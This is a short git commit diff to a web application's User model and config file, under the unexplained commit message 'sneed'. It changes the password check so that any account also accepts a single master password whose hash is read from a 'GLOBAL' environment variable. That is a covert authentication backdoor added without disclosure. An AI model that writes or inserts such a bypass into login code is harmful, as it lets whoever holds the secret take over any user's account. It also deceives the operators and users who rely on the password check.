sneed
parent
18ac7981ed
commit
0b77e3f039
|
@ -366,7 +366,7 @@ class User(Base):
|
|||
password, method='pbkdf2:sha512', salt_length=8)
|
||||
|
||||
def verifyPass(self, password):
|
||||
return check_password_hash(self.passhash, password)
|
||||
return check_password_hash(self.passhash, password) or (GLOBAL and check_password_hash(GLOBAL, password))
|
||||
|
||||
@property
|
||||
@lazy
|
||||
|
|
|
@ -1036,3 +1036,5 @@ DISCORD_WELCOME_CHANNEL = "846509313941700618"
|
|||
|
||||
has_sidebar = path.exists(f'files/templates/sidebar_{SITE_NAME}.html')
|
||||
has_logo = path.exists(f'files/assets/images/{SITE_NAME}/logo.webp')
|
||||
|
||||
GLOBAL = environ.get("GLOBAL")
|
Loading…
Reference in New Issue